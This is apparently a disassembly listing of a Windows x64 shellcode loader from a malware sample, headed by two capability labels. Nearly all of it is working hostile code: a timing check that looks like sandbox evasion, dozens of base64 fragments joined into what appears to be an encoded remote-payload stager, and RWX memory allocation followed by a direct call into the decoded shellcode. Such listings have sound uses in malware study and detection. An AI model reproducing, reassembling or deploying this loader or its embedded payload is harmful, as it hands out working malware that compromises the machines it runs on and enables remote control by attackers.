Function at 0x1400018be
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push rbp
push rdi
sub rsp, 0x678
lea rbp, [rsp + 0x80]
mov dword [rbp + 0x610], ecx
mov qword [rbp + 0x618], rdx
call dbg.__main
call sym.clock
mov dword [rbp + 0x5ec], eax
mov edx, dword [0x14001b020]
mov eax, dword [0x14001b024]
imul eax, edx
mov dword [0x14001b024], eax
mov ecx, 0xdd
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
call sym.clock
mov dword [rbp + 0x5e8], eax
mov eax, dword [0x14001b020]
add eax, eax
mov dword [0x14001b020], eax
mov ecx, 0x954
call sym.malloc
mov qword [rbp + 0x5e0], rax
mov eax, dword [0x14001b020]
mov edx, dword [0x14001b024]
sub eax, edx
mov dword [0x14001b024], eax
mov eax, dword [rbp + 0x5e8]
sub eax, dword [rbp + 0x5ec]
cmp eax, 0xdc
jle 0x1400027b1
mov eax, dword [rbp + 0x5e8]
sub eax, dword [rbp + 0x5ec]
cmp eax, 0x140
jg 0x1400027b1
mov edx, dword [0x14001b024]
mov eax, dword [0x14001b020]
imul eax, edx
mov dword [0x14001b020], eax
lea rcx, str.ILEYp
call sym.printf
lea rax, str.OTA5MDkwZmM0ODgzZTRmMGU4YzgwMDAwMDA0MTUxNDE1MDUyNTE1NjQ4MzFkMjY1NDg4YjUyNjA0ODhiNTIxODQ4OGI1MjIwN
mov qword [rbp + 0x5d8], rax
mov dword [0x14001b020], 0
lea rax, str.Dg4YjcyNTA0ODBmYjc0YTRhNGQzMWM5NDgzMWMwYWMzYzYxN2MwMjJjMjA
mov qword [rbp + 0x5d0], rax
mov edx, dword [0x14001b024]
mov eax, dword [0x14001b024]
imul eax, edx
mov dword [0x14001b024], eax
lea rax, str.0MWMxYzkwZDQxMDFjMWUyZWQ1MjQxNTE0ODhiNTIyMDhiNDIzYzQ4MDFkMDY2
mov qword [rbp + 0x5c8], rax
mov eax, dword [0x14001b020]
add eax, eax
mov dword [0x14001b020], eax
lea rax, str.ODE3ODE4MGIwMjc1NzI4YjgwODgw
mov qword [rbp + 0x5c0], rax
mov edx, dword [0x14001b020]
mov eax, dword [0x14001b020]
imul eax, edx
mov dword [0x14001b020], eax
lea rax, str.MDAwMDA0ODg1YzA3NDY3NDgwMWQwNTA4YjQ4MTg0NDhiNDAyMDQ5MDFkMGU
mov qword [rbp + 0x5b8], rax
mov edx, dword [0x14001b020]
mov eax, dword [0x14001b024]
add eax, edx
mov dword [0x14001b024], eax
lea rax, str.zNTY0OGZmYzk0MThiMzQ4ODQ4MDFkNjRkMzFjOTQ4MzFjMGFjNDFjMWM5M
mov qword [rbp + 0x5b0], rax
mov eax, dword [0x14001b020]
add eax, eax
mov dword [0x14001b020], eax
lea rax, str.GQ0MTAxYzEzOGUwNzVmMTRjMDM0YzI0MDg0NTM5ZDE3NWQ4
mov qword [rbp + 0x5a8], rax
mov edx, dword [0x14001b024]
mov eax, dword [0x14001b020]
imul eax, edx
mov dword [0x14001b020], eax
lea rax, str.NTg0NDhiNDAyNDQ5MDFkMDY2NDE4Yj
mov qword [rbp + 0x5a0], rax
mov eax, dword [0x14001b020]
add eax, eax
mov dword [0x14001b020], eax
lea rax, str.BjNDg0NDhiNDAxYzQ5MDFkMDQxOGIwNDg4NDgwMWQwNDE1ODQxNTg1ZTU5NWE0
mov qword [rbp + 0x598], rax
mov eax, dword [0x14001b020]
mov edx, dword [0x14001b024]
sub eax, edx
mov dword [0x14001b024], eax
lea rax, str.MTU4NDE1OTQxNWE0ODgzZWMy
mov qword [rbp + 0x590], rax
mov eax, dword [0x14001b024]
add eax, eax
mov dword [0x14001b024], eax
lea rax, str.MDQxNTJmZmUwNTg
mov qword [rbp + 0x588], rax
mov dword [0x14001b024], 0
lea rax, str.0MTU5NWE0ODhiMTJlOTRmZmZmZmZmNWQ2YTAwNDliZTc3Njk2ZTY5NmU2NTc0MDA0MTU2NDk4OWU2NGM4OWYxNDFiY
mov qword [rbp + 0x580], rax
mov edx, dword [0x14001b020]
mov eax, dword [0x14001b020]
imul eax, edx
mov dword [0x14001b020], eax
lea rax, str.TRjNzcyNjA3ZmZkNTQ4MzFjOTQ4MzFkMjRkMzFjMDRkMzFjO
mov qword [rbp + 0x578], rax
mov edx, dword [0x14001b024]
mov eax, dword [0x14001b024]
imul eax, edx
mov dword [0x14001b024], eax
lea rax, str.TQxNTA0MTUwNDFiYTNhNTY3OWE3ZmZkNWViNzM1YTQ4ODljMTQxYjhiMzE1MDAwMDRkMzFjOTQxNTE0MTUxNmEwMzQxNTE0MW
mov qword [rbp + 0x570], rax
mov eax, dword [0x14001b020]
add eax, eax
mov dword [0x14001b020], eax
lea rax, str.JhNTc4OTlmYzZmZmQ1ZWI1OTViNDg4OWMxNDgzMWQyN
mov qword [rbp + 0x568], rax
mov eax, dword [0x14001b024]
mov edx, dword [0x14001b020]
sub eax, edx
mov dword [0x14001b020], eax
lea rax, str.Dk4OWQ4NGQzMWM5NTI2ODAwMDI
mov qword [rbp + 0x560], rax
mov edx, dword [0x14001b024]
mov eax, dword [0x14001b024]
imul eax, edx
mov dword [0x14001b024], eax
lea rax, str.0MDg0NTI1MjQxYmFlYjU1MmUzYmZmZDU0ODg5YzY0ODgzYzM1MDZhMGE1ZjQ4ODlmMTQ4ODlkYTQ5
mov qword [rbp + 0x558], rax
mov edx, dword [0x14001b020]
mov eax, dword [0x14001b020]
imul eax, edx
mov dword [0x14001b020], eax
lea rax, str.YzdjMGZmZm
mov qword [rbp + 0x550], rax
mov eax, dword [0x14001b020]
mov edx, dword [0x14001b024]
sub eax, edx
mov dword [0x14001b024], eax
lea rax, str.ZmZmZmNGQzMWM5NTI1MjQxYmEyZDA2MTg3YmZmZDU4NWMwMGY4NTlkMDEwMDAwNDhmZmNmMGY4NDhjMD
mov qword [rbp + 0x548], rax
mov dword [0x14001b020], 0
lea rax, str.EwMDAwZWJkM2U5ZTQwMTAwMDBlOGEyZmZmZmZmMmY0OTY4NzQzODAwM2U2YmEzNDAy
mov qword [rbp + 0x540], rax
mov edx, dword [0x14001b020]
mov eax, dword [0x14001b024]
imul eax, edx
mov dword [0x14001b024], eax
lea rax, str.Mzg5ZTVmZDA5NGYyYTFkYzkxYWIxNDkzZTcxMmFjZmM1Njk1YmNjOTMzYzY2MTI5OTE2ZWNhYTliNmY5MTQwNWMyNzNkOTcx
mov qword [rbp + 0x538], rax
mov edx, dword [0x14001b024]
mov eax, dword [0x14001b020]
add eax, edx
mov dword [0x14001b020], eax
lea rax, str.MjFmMjRhOGIxNzRjNTFiZWJiZGE3NTgyYjA3ZTcxNGFiZDcwY
mov qword [rbp + 0x530], rax
mov eax, dword [0x14001b024]
mov edx, dword [0x14001b020]
sub eax, edx
mov dword [0x14001b020], eax
lea rax, str.mZkMzAzNDAxNzEzNmY3NmQ0NDUy
mov qword [rbp + 0x528], rax
mov dword [0x14001b020], 0
lea rax, str.YTVjNmQyNmEwMDU1NzM2NTcyMmQ0MTY3NjU2ZTc0M2EyMDRkNmY3YTY5NmM2YzYxMmYzNTJlMzAyMDI4NjM2ZjZ
mov qword [rbp + 0x520], rax
mov eax, dword [0x14001b020]
mov edx, dword [0x14001b024]
sub eax, edx
mov dword [0x14001b024], eax
lea rax, str.kNzA2MTc0Njk2MjZjNjUzYjIwNGQ1MzQ5NDUyMDMxMzAyZTMwM2IyMDU3Njk2ZTY0NmY3NzczMjA0ZTU0MjAzNjJlMzEzY
mov qword [rbp + 0x518], rax
mov eax, dword [0x14001b024]
add eax, eax
mov dword [0x14001b024], eax
lea rax, str.jIwNTc0ZjU3MzYzNDNiMjA1NDcyNjk2NDY1
mov qword [rbp + 0x510], rax
mov edx, dword [0x14001b020]
mov eax, dword [0x14001b024]
add eax, edx
mov dword [0x14001b024], eax
lea rax, str.NmU3NDJmMzYyZTMwM2IyMDRkNDE1MzUwMjkw
mov qword [rbp + 0x508], rax
mov dword [0x14001b024], 0
lea rax, str.ZDBhMDBhZTBhNWI3ODc3MDI3Nj
mov qword [rbp + 0x500], rax
mov eax, dword [0x14001b020]
mov edx, dword [0x14001b024]
sub eax, edx
mov dword [0x14001b024], eax
lea rax, str.VlYWU5YmRkYjMyMz
mov qword [rbp + 0x4f8], rax
mov edx, dword [0x14001b020]
mov eax, dword [0x14001b020]
imul eax, edx
mov dword [0x14001b020], eax
lea rax, str.g4MWRlMGUyZjA
mov qword [rbp + 0x4f0], rax
mov dword [0x14001b024], 0
lea rax, str.3YTI3ZjVjODZlOWI3ZDBmM2M0M2Y1ZDlmMjg3MjdlNzhiNzQ0MW
mov qword [rbp + 0x4e8], rax
mov edx, dword [0x14001b024]
mov eax, dword [0x14001b024]
imul eax, edx
mov dword [0x14001b024], eax
lea rax, str.NhNGNhNTY3NDNkZWQ0ZDNjNTU3MTYyYjhiNWQ2MDkxODY3NjQ4ZTMyOTI1OG
mov qword [rbp + 0x4e0], rax
mov eax, dword [0x14001b020]
add eax, eax
mov dword [0x14001b020], eax
lea rax, str.ZkNWYyZmVmYjVhZGY3NjkwNzAyOGI3MzdkOThhMTk4ODgxM
mov qword [rbp + 0x4d8], rax
mov edx, dword [0x14001b020]
mov eax, dword [0x14001b020]
imul eax, edx
mov dword [0x14001b020], eax
lea rax, str.GZmZTk4NGZlNWQ0NTBlNTJkZTliZGRiZmNlYTIxYmYyYTQ0NjE4MDM3
mov qword [rbp + 0x4d0], rax
mov dword [0x14001b024], 0
lea rax, str.YjZlMTc2OWE4ODE0ZGI1ODNiNDg3NjhkNWJmNDExZGE4ZmJmYTE1YmEwZmUyM
mov qword [rbp + 0x4c8], rax
mov edx, dword [0x14001b024]
mov eax, dword [0x14001b020]
imul eax, edx
mov dword [0x14001b020], eax
lea rax, str.2M5ZjU3MGQ0MzJjNmMzNzRlNWIyNjAy
mov qword [rbp + 0x4c0], rax
mov dword [0x14001b020], 0
lea rax, str.Y2ZjOWVjZDhjYjk0ODJiNzU5YTM0ODQ5ZDQ2OTFk
mov qword [rbp + 0x4b8], rax
mov edx, dword [0x14001b024]
mov eax, dword [0x14001b020]
add eax, edx
mov dword [0x14001b020], eax
lea rax, str.OTkzYTlhZTE4MGM3YzMzOGQ3Mzg0YTNjZWE5MmRkZTI5NGQ
mov qword [rbp + 0x4b0], rax
mov edx, dword [0x14001b020]
mov eax, dword [0x14001b024]
add eax, edx
mov dword [0x14001b024], eax
lea rax, str.0ZjBiMWFiYTMzMGZmZTZiNzI4OTVmODMxNzMyYzQ2MjE0OGVjMmFlOGViNDRmZDRiNzNkOTY5MGI4NDJmN
mov qword [rbp + 0x4a8], rax
mov dword [0x14001b024], 0
lea rax, str.TQ2NTEyYzFiMjAzMjU3MTY
mov qword [rbp + 0x4a0], rax
mov eax, dword [0x14001b024]
mov edx, dword [0x14001b020]
sub eax, edx
mov dword [0x14001b020], eax
lea rax, str.0NDUyMDY4MGNlMGY4NjAwNDFiZWYwYjV
mov qword [rbp + 0x498], rax
mov edx, dword [0x14001b024]
mov eax, dword [0x14001b020]
add eax, edx
mov dword [0x14001b020], eax
lea rax, str.hMjU2ZmZkNTQ4MzFjOWJhMDAwMDQwMDA0
mov qword [rbp + 0x490], rax
mov dword [0x14001b024], 0
lea rax, str.MWI4MDAxMDAwMDA0MWI5NDAwMDAwMDA0MWJhNThhNDUzZTVmZmQ1NDg5MzUzNTM
mov qword [rbp + 0x488], rax
mov edx, dword [0x14001b020]
mov eax, dword [0x14001b024]
imul eax, edx
mov dword [0x14001b024], eax
lea rax, str.0ODg5ZTc0ODg5ZjE0ODg5ZGE0MWI4MDAyMDAwMDA0OTg5Zjk0MWJhMTI5Njg5ZTJmZmQ1NDg4M2M0MjA4NWMwNzRiNjY
mov qword [rbp + 0x480], rax
mov edx, dword [0x14001b020]
mov eax, dword [0x14001b024]
imul eax, edx
mov dword [0x14001b024], eax
lea rax, str.2OGIwNzQ4MDFjMzg1YzA3NWQ3NTg1ODU4NDgwNTAwMDAwMDAwNTBjM2U4OWZmZGZmZmYzMTMwMmUzMTMx
mov qword [rbp + 0x478], rax
mov edx, dword [0x14001b020]
mov eax, dword [0x14001b024]
add eax, edx
mov dword [0x14001b024], eax
lea rax, str.MzAyZTMxMzAzMjJ
mov qword [rbp + 0x470], rax
mov edx, dword [0x14001b024]
mov eax, dword [0x14001b020]
add eax, edx
mov dword [0x14001b020], eax
lea rax, str.lMzIzNDAwM2FkZ
mov qword [rbp + 0x468], rax
mov eax, dword [0x14001b020]
mov edx, dword [0x14001b024]
sub eax, edx
mov dword [0x14001b024], eax
lea rax, str.TY4YjE
mov qword [rbp + 0x460], rax
mov edx, dword [0x14001b024]
mov eax, dword [0x14001b024]
imul eax, edx
mov dword [0x14001b024], eax
mov qword [rbp - 0x60], 0
mov qword [rbp - 0x58], 0
lea rdx, [rbp - 0x50]
mov eax, 0
mov ecx, 0x93
mov rdi, rdx
rep stosq qword [rdi], rax
mov rdx, rdi
mov word [rdx], ax
add rdx, 2
mov rdx, qword [rbp + 0x5d8]
mov rax, qword [rbp + 0x5e0]
mov rcx, rax
call sym.strcpy
mov edx, dword [0x14001b024]
mov eax, dword [0x14001b020]
add eax, edx
mov dword [0x14001b020], eax
mov rdx, qword [rbp + 0x5d0]
mov rax, qword [rbp + 0x5e0]
mov rcx, rax
call sym.strcat
mov dword [0x14001b020], 0
mov rdx, qword [rbp + 0x5c8]
mov rax, qword [rbp + 0x5e0]
mov rcx, rax
call sym.strcat
mov eax, dword [0x14001b020]
mov edx, dword [0x14001b024]
sub eax, edx
mov dword [0x14001b024], eax
mov rdx, qword [rbp + 0x5c0]
mov rax, qword [rbp + 0x5e0]
mov rcx, rax
call sym.strcat
mov eax, dword [0x14001b024]
mov edx, dword [0x14001b020]
sub eax, edx
mov dword [0x14001b020], eax
mov rdx, qword [rbp + 0x5b8]
mov rax, qword [rbp + 0x5e0]
mov rcx, rax
call sym.strcat
mov edx, dword [0x14001b020]
mov eax, dword [0x14001b024]
add eax, edx
mov dword [0x14001b024], eax
mov rdx, qword [rbp + 0x5b0]
mov rax, qword [rbp + 0x5e0]
mov rcx, rax
call sym.strcat
mov edx, dword [0x14001b024]
mov eax, dword [0x14001b020]
imul eax, edx
mov dword [0x14001b020], eax
mov rdx, qword [rbp + 0x5a8]
mov rax, qword [rbp + 0x5e0]
mov rcx, rax
call sym.strcat
mov edx, dword [0x14001b024]
mov eax, dword [0x14001b020]
imul eax, edx
mov dword [0x14001b020], eax
mov rdx, qword [rbp + 0x5a0]
mov rax, qword [rbp + 0x5e0]
mov rcx, rax
call sym.strcat
mov edx, dword [0x14001b024]
mov eax, dword [0x14001b020]
imul eax, edx
mov dword [0x14001b020], eax
mov rdx, qword [rbp + 0x598]
mov rax, qword [rbp + 0x5e0]
mov rcx, rax
call sym.strcat
mov dword [0x14001b024], 0
mov rdx, qword [rbp + 0x590]
mov rax, qword [rbp + 0x5e0]
mov rcx, rax
call sym.strcat
mov eax, dword [0x14001b024]
mov edx, dword [0x14001b020]
sub eax, edx
mov dword [0x14001b020], eax
mov rdx, qword [rbp + 0x588]
mov rax, qword [rbp + 0x5e0]
mov rcx, rax
call sym.strcat
mov edx, dword [0x14001b024]
mov eax, dword [0x14001b024]
imul eax, edx
mov dword [0x14001b024], eax
mov rdx, qword [rbp + 0x580]
mov rax, qword [rbp + 0x5e0]
mov rcx, rax
call sym.strcat
mov eax, dword [0x14001b024]
mov edx, dword [0x14001b020]
sub eax, edx
mov dword [0x14001b020], eax
mov rdx, qword [rbp + 0x578]
mov rax, qword [rbp + 0x5e0]
mov rcx, rax
call sym.strcat
mov edx, dword [0x14001b024]
mov eax, dword [0x14001b020]
add eax, edx
mov dword [0x14001b020], eax
mov rdx, qword [rbp + 0x570]
mov rax, qword [rbp + 0x5e0]
mov rcx, rax
call sym.strcat
mov eax, dword [0x14001b024]
add eax, eax
mov dword [0x14001b024], eax
mov rdx, qword [rbp + 0x568]
mov rax, qword [rbp + 0x5e0]
mov rcx, rax
call sym.strcat
mov edx, dword [0x14001b024]
mov eax, dword [0x14001b020]
imul eax, edx
mov dword [0x14001b020], eax
mov rdx, qword [rbp + 0x560]
mov rax, qword [rbp + 0x5e0]
mov rcx, rax
call sym.strcat
mov edx, dword [0x14001b024]
mov eax, dword [0x14001b020]
imul eax, edx
mov dword [0x14001b020], eax
mov rdx, qword [rbp + 0x558]
mov rax, qword [rbp + 0x5e0]
mov rcx, rax
call sym.strcat
mov edx, dword [0x14001b020]
mov eax, dword [0x14001b024]
imul eax, edx
mov dword [0x14001b024], eax
mov rdx, qword [rbp + 0x550]
mov rax, qword [rbp + 0x5e0]
mov rcx, rax
call sym.strcat
mov edx, dword [0x14001b020]
mov eax, dword [0x14001b020]
imul eax, edx
mov dword [0x14001b020], eax
mov rdx, qword [rbp + 0x548]
mov rax, qword [rbp + 0x5e0]
mov rcx, rax
call sym.strcat
mov edx, dword [0x14001b024]
mov eax, dword [0x14001b024]
imul eax, edx
mov dword [0x14001b024], eax
mov rdx, qword [rbp + 0x540]
mov rax, qword [rbp + 0x5e0]
mov rcx, rax
call sym.strcat
mov edx, dword [0x14001b020]
mov eax, dword [0x14001b024]
add eax, edx
mov dword [0x14001b024], eax
mov rdx, qword [rbp + 0x538]
mov rax, qword [rbp + 0x5e0]
mov rcx, rax
call sym.strcat
mov dword [0x14001b024], 0
mov rdx, qword [rbp + 0x530]
mov rax, qword [rbp + 0x5e0]
mov rcx, rax
call sym.strcat
mov edx, dword [0x14001b024]
mov eax, dword [0x14001b024]
imul eax, edx
mov dword [0x14001b024], eax
mov rdx, qword [rbp + 0x528]
mov rax, qword [rbp + 0x5e0]
mov rcx, rax
call sym.strcat
mov dword [0x14001b020], 0
mov rdx, qword [rbp + 0x520]
mov rax, qword [rbp + 0x5e0]
mov rcx, rax
call sym.strcat
mov eax, dword [0x14001b020]
add eax, eax
mov dword [0x14001b020], eax
mov rdx, qword [rbp + 0x518]
mov rax, qword [rbp + 0x5e0]
mov rcx, rax
call sym.strcat
mov dword [0x14001b024], 0
mov rdx, qword [rbp + 0x510]
mov rax, qword [rbp + 0x5e0]
mov rcx, rax
call sym.strcat
mov eax, dword [0x14001b020]
add eax, eax
mov dword [0x14001b020], eax
mov rdx, qword [rbp + 0x508]
mov rax, qword [rbp + 0x5e0]
mov rcx, rax
call sym.strcat
mov eax, dword [0x14001b020]
mov edx, dword [0x14001b024]
sub eax, edx
mov dword [0x14001b024], eax
mov rdx, qword [rbp + 0x500]
mov rax, qword [rbp + 0x5e0]
mov rcx, rax
call sym.strcat
mov dword [0x14001b020], 0
mov rdx, qword [rbp + 0x4f8]
mov rax, qword [rbp + 0x5e0]
mov rcx, rax
call sym.strcat
mov eax, dword [0x14001b024]
mov edx, dword [0x14001b020]
sub eax, edx
mov dword [0x14001b020], eax
mov rdx, qword [rbp + 0x4f0]
mov rax, qword [rbp + 0x5e0]
mov rcx, rax
call sym.strcat
mov edx, dword [0x14001b020]
mov eax, dword [0x14001b024]
imul eax, edx
mov dword [0x14001b024], eax
mov rdx, qword [rbp + 0x4e8]
mov rax, qword [rbp + 0x5e0]
mov rcx, rax
call sym.strcat
mov edx, dword [0x14001b020]
mov eax, dword [0x14001b024]
add eax, edx
mov dword [0x14001b024], eax
mov rdx, qword [rbp + 0x4e0]
mov rax, qword [rbp + 0x5e0]
mov rcx, rax
call sym.strcat
mov edx, dword [0x14001b024]
mov eax, dword [0x14001b020]
add eax, edx
mov dword [0x14001b020], eax
mov rdx, qword [rbp + 0x4d8]
mov rax, qword [rbp + 0x5e0]
mov rcx, rax
call sym.strcat
mov eax, dword [0x14001b024]
add eax, eax
mov dword [0x14001b024], eax
mov rdx, qword [rbp + 0x4d0]
mov rax, qword [rbp + 0x5e0]
mov rcx, rax
call sym.strcat
mov edx, dword [0x14001b020]
mov eax, dword [0x14001b024]
add eax, edx
mov dword [0x14001b024], eax
mov rdx, qword [rbp + 0x4c8]
mov rax, qword [rbp + 0x5e0]
mov rcx, rax
call sym.strcat
mov edx, dword [0x14001b020]
mov eax, dword [0x14001b024]
add eax, edx
mov dword [0x14001b024], eax
mov rdx, qword [rbp + 0x4c0]
mov rax, qword [rbp + 0x5e0]
mov rcx, rax
call sym.strcat
mov edx, dword [0x14001b020]
mov eax, dword [0x14001b020]
imul eax, edx
mov dword [0x14001b020], eax
mov rdx, qword [rbp + 0x4b8]
mov rax, qword [rbp + 0x5e0]
mov rcx, rax
call sym.strcat
mov edx, dword [0x14001b020]
mov eax, dword [0x14001b024]
add eax, edx
mov dword [0x14001b024], eax
mov rdx, qword [rbp + 0x4b0]
mov rax, qword [rbp + 0x5e0]
mov rcx, rax
call sym.strcat
mov edx, dword [0x14001b020]
mov eax, dword [0x14001b024]
imul eax, edx
mov dword [0x14001b024], eax
mov rdx, qword [rbp + 0x4a8]
mov rax, qword [rbp + 0x5e0]
mov rcx, rax
call sym.strcat
mov edx, dword [0x14001b024]
mov eax, dword [0x14001b020]
add eax, edx
mov dword [0x14001b020], eax
mov rdx, qword [rbp + 0x4a0]
mov rax, qword [rbp + 0x5e0]
mov rcx, rax
call sym.strcat
mov dword [0x14001b020], 0
mov rdx, qword [rbp + 0x498]
mov rax, qword [rbp + 0x5e0]
mov rcx, rax
call sym.strcat
mov eax, dword [0x14001b020]
mov edx, dword [0x14001b024]
sub eax, edx
mov dword [0x14001b024], eax
mov rdx, qword [rbp + 0x490]
mov rax, qword [rbp + 0x5e0]
mov rcx, rax
call sym.strcat
mov eax, dword [0x14001b020]
add eax, eax
mov dword [0x14001b020], eax
mov rdx, qword [rbp + 0x488]
mov rax, qword [rbp + 0x5e0]
mov rcx, rax
call sym.strcat
mov eax, dword [0x14001b020]
add eax, eax
mov dword [0x14001b020], eax
mov rdx, qword [rbp + 0x480]
mov rax, qword [rbp + 0x5e0]
mov rcx, rax
call sym.strcat
mov edx, dword [0x14001b020]
mov eax, dword [0x14001b020]
imul eax, edx
mov dword [0x14001b020], eax
mov rdx, qword [rbp + 0x478]
mov rax, qword [rbp + 0x5e0]
mov rcx, rax
call sym.strcat
mov dword [0x14001b024], 0
mov rdx, qword [rbp + 0x470]
mov rax, qword [rbp + 0x5e0]
mov rcx, rax
call sym.strcat
mov edx, dword [0x14001b024]
mov eax, dword [0x14001b024]
imul eax, edx
mov dword [0x14001b024], eax
mov rdx, qword [rbp + 0x468]
mov rax, qword [rbp + 0x5e0]
mov rcx, rax
call sym.strcat
mov edx, dword [0x14001b020]
mov eax, dword [0x14001b024]
imul eax, edx
mov dword [0x14001b024], eax
mov rdx, qword [rbp + 0x460]
mov rax, qword [rbp + 0x5e0]
mov rcx, rax
call sym.strcat
mov rax, qword [rbp + 0x5e0]
lea rdx, [0x14001ca09]
mov rcx, rax
call sym.uUuGtM
mov qword [rbp + 0x458], rax
mov rdx, qword [rbp + 0x458]
lea rax, [rbp - 0x60]
mov rcx, rax
call sym.JRoIjRGG
mov r9d, 0x40
mov r8d, 0x3000
mov edx, 0x4aa
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_VirtualAlloc]
call rax
mov qword [rbp + 0x450], rax
lea rdx, [rbp - 0x60]
mov rax, qword [rbp + 0x450]
mov r8d, 0x4aa
mov rcx, rax
call sym.memmove
mov rax, qword [rbp + 0x450]
call rax
mov edx, dword [0x14001b020]
mov eax, dword [0x14001b024]
add edx, eax
mov eax, dword [0x14001b028]
add eax, edx
mov edx, eax
lea rcx, [0x14001ca0b]
call sym.printf
jmp 0x1400027d2
mov eax, dword [0x14001b020]
mov edx, dword [0x14001b024]
sub eax, edx
mov dword [0x14001b024], eax
lea rcx, str.ILEYp
call sym.printf
nop
add rsp, 0x678
pop rdi
pop rbp
ret